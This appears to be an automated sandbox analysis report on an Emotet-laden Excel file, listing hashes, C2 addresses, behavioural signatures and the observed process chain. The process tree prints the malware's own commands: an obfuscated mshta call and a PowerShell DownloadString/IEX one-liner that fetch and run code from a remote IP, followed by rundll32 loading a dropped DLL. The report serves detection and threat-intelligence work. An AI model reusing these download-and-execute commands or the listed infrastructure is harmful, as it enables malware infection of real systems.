emotet | f7e693405dae9404a1058fae644bfc776d6b799528e30831307f9543256a50fc

General

Target

form.xls
Size

46KB
MD5

b6949fd848a702a27dc5812812d4e01a
SHA1

387adf8b0e89ad474bbac461199766f81e0f5473
SHA256

f7e693405dae9404a1058fae644bfc776d6b799528e30831307f9543256a50fc
SHA512

31dca1398a62d3a576653f998ca083f36479f354936276996a42b0fb1befe73e9c60e7bec3d502a1e84783102edde1fcc279459a59bdaa1279effe6762c41a10

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3764	3488	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

35 3816 mshta.exe
41 3636 powershell.exe
47 3636 powershell.exe
56 652 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1976 rundll32.exe
2284 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ofspgoosbgaqi\qpwcihdzjuvuk.nte rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2440 3816 WerFault.exe mshta.exe

flow	pid	process
35	3816	mshta.exe
41	3636	powershell.exe
47	3636	powershell.exe
56	652	rundll32.exe

pid	process
1976	rundll32.exe
2284	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ofspgoosbgaqi\qpwcihdzjuvuk.nte	rundll32.exe

pid	pid_target	process	target process
2440	3816	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3488 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
2440	WerFault.exe
652	rundll32.exe
652	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3636 powershell.exe
Token: SeDebugPrivilege 2440 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	2440	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE
3488	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3488 wrote to memory of 3764	3488	EXCEL.EXE	CMD.EXE
PID 3488 wrote to memory of 3764	3488	EXCEL.EXE	CMD.EXE
PID 3764 wrote to memory of 3816	3764	CMD.EXE	mshta.exe
PID 3764 wrote to memory of 3816	3764	CMD.EXE	mshta.exe
PID 3816 wrote to memory of 3636	3816	mshta.exe	powershell.exe
PID 3816 wrote to memory of 3636	3816	mshta.exe	powershell.exe
PID 3636 wrote to memory of 1368	3636	powershell.exe	cmd.exe
PID 3636 wrote to memory of 1368	3636	powershell.exe	cmd.exe
PID 1368 wrote to memory of 1976	1368	cmd.exe	rundll32.exe
PID 1368 wrote to memory of 1976	1368	cmd.exe	rundll32.exe
PID 1368 wrote to memory of 1976	1368	cmd.exe	rundll32.exe
PID 1976 wrote to memory of 2284	1976	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 2284	1976	rundll32.exe	rundll32.exe
PID 1976 wrote to memory of 2284	1976	rundll32.exe	rundll32.exe
PID 2284 wrote to memory of 2212	2284	rundll32.exe	rundll32.exe
PID 2284 wrote to memory of 2212	2284	rundll32.exe	rundll32.exe
PID 2284 wrote to memory of 2212	2284	rundll32.exe	rundll32.exe
PID 2212 wrote to memory of 652	2212	rundll32.exe	rundll32.exe
PID 2212 wrote to memory of 652	2212	rundll32.exe	rundll32.exe
PID 2212 wrote to memory of 652	2212	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\form.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3488

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3764

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3636

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1368

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2284

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ofspgoosbgaqi\qpwcihdzjuvuk.nte",AHIxX
8⤵
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ofspgoosbgaqi\qpwcihdzjuvuk.nte",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:652

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3816 -s 1796
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2440

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
\ProgramData\QWER.dll
MD5
047c2356f6fca3412dcac51cfba937c4

SHA1
9fb1a5e24e77767cf157879bb02eff71692eba2e

SHA256
20c15e85b846dca4beb07a229749ebe688ef5af18617a79739895264f59c4564

SHA512
c47236585104b733476cb7f37627431f03e8b5079b9a31e8b466657a796538ad690adc8c0b41c6c1340a978b38a052c8993eb1b79b1685f8da3d9fd640caeba3

Download Submit
memory/652-382-0x0000000004920000-0x0000000004945000-memory.dmp

Filesize
148KB

Download
memory/652-379-0x0000000000B90000-0x0000000000BB5000-memory.dmp

Filesize
148KB

Download
memory/1976-350-0x0000000004750000-0x0000000004775000-memory.dmp

Filesize
148KB

Download
memory/2212-377-0x0000000002F50000-0x0000000002F75000-memory.dmp

Filesize
148KB

Download
memory/2284-372-0x00000000048E0000-0x0000000004905000-memory.dmp

Filesize
148KB

Download
memory/2284-353-0x0000000004030000-0x0000000004055000-memory.dmp

Filesize
148KB

Download
memory/2284-376-0x0000000004B00000-0x0000000004B25000-memory.dmp

Filesize
148KB

Download
memory/2284-374-0x0000000004940000-0x0000000004965000-memory.dmp

Filesize
148KB

Download
memory/2284-370-0x0000000004880000-0x00000000048A5000-memory.dmp

Filesize
148KB

Download
memory/2284-368-0x0000000004720000-0x0000000004745000-memory.dmp

Filesize
148KB

Download
memory/2284-361-0x0000000004640000-0x0000000004665000-memory.dmp

Filesize
148KB

Download
memory/3488-121-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3488-120-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3488-124-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3488-132-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

Filesize
64KB

Download
memory/3488-417-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3488-131-0x00007FFF61D50000-0x00007FFF61D60000-memory.dmp

Filesize
64KB

Download
memory/3488-416-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3488-118-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3488-415-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3488-414-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3488-119-0x00007FFF65860000-0x00007FFF65870000-memory.dmp

Filesize
64KB

Download
memory/3636-339-0x000001B9D8CC0000-0x000001B9F0E20000-memory.dmp

Filesize
385.4MB

Download
memory/3636-330-0x000001B9D8CC0000-0x000001B9F0E20000-memory.dmp

Filesize
385.4MB

Download
memory/3636-319-0x000001B9F0D70000-0x000001B9F0DAC000-memory.dmp

Filesize
240KB

Download
memory/3636-331-0x000001B9F14D0000-0x000001B9F1546000-memory.dmp

Filesize
472KB

Download
memory/3636-338-0x000001B9D8CC0000-0x000001B9F0E20000-memory.dmp

Filesize
385.4MB

Download
memory/3636-299-0x000001B9D8C50000-0x000001B9D8C72000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads